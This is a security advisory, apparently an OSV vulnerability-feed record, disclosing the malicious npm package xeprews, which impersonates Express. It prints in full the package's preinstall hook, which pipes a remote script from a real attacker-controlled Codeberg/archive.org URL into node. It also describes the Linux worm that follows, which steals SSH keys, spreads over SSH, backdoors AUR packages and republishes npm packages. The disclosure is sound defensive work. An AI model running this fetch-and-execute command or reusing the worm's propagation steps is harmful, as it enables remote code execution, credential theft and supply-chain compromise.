Malicious code in xeprews (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

The package xeprews impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd. On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2) xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.

Source published

29 Sep 2026 07:12:49 UTC

Source modified

5 Oct 2026 23:00:07 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

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